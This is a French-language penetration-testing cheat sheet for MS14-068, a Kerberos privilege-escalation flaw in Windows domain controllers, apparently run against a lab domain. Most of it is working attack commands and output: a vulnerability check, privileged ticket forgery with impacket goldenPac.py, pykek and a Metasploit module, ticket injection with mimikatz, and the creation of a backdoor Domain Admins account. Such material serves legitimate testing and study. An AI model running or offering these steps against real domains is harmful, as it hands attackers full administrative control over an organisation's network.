MS14-068
Enumeration
Responder peut vérifier si un serveur est vulnérable à MS14-068 (Note: il peut être nécessaire de modifier le temps de timeout dans le fichier FindSMB2UPTime.py):
[~] python /usr/share/responder/FindSMB2UPTime.py 192.168.31.220
DC is up since: 2013-12-28 22:24:25
This DC is vulnerable to MS14-068
Exploitation
Génération du token Keberos
impacket
[impacket] intégre un module pour exploiter MS14-068. Ce module permet de générer le ticket et ensuite de se connecter au serveur cible:
/usr/local/bin/goldenPac.py -target-ip 192.168.31.220 -dc-ip 192.168.31.220 thinc.local/bob:\!Qwerty^@master.thinc.local
pykek
L’outil pykek peut être utilisé pour générer un token Kerberos pour un utilisateur administratif. Dans l’exemple suivant on part d’un utilisateur à faible privilèges dont on connaît le login, le mdp et le SID.
[pykek] python ms14-068.py -u bob@THINC.LOCAL -s S-1-5-21-279202750-2644721835-2190734642-1105 -d 192.168.31.220 -p \!Qwerty^
En cas d’erreur il est nécessaire de s’assurer que l’horloge soit bien synchronisée avec le DC:
[~] rdate -n 192.168.31.220
Sat Dec 28 02:37:08 EST 2013
msfconsole
Un module metasploit existe également (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):
msf exploit(current_user_psexec) > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msf auxiliary(ms14_068_kerberos_checksum) > show options
Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN THINC.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD !Qwerty^ yes The Domain User password
RHOST 192.168.31.220 yes The target address
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER bob yes The Domain User
USER_SID S-1-5-21-279202750-2644721835-2190734642-1105 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
msf auxiliary(ms14_068_kerberos_checksum) > run
[*] Validating options...
[*] Using domain THINC.LOCAL...
[*] 192.168.31.220:88 - Sending AS-REQ...
[*] 192.168.31.220:88 - Parsing AS-REP...
[*] 192.168.31.220:88 - Sending TGS-REQ...
[+] 192.168.31.220:88 - Valid TGS-Response, extracting credentials...
[+] 192.168.31.220:88 - MIT Credential Cache saved on /root/.msf5/loot/20131228023752_default_192.168.31.220_windows.kerberos_061217.bin
[*] Auxiliary module execution completed
Utilisation du token kerberos
Sous Windows:
klist purge
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit
Sur une machine reliée au domaine on peut:
net user hacked password /add /domain
net group "Domain Admins" hacked /add /domain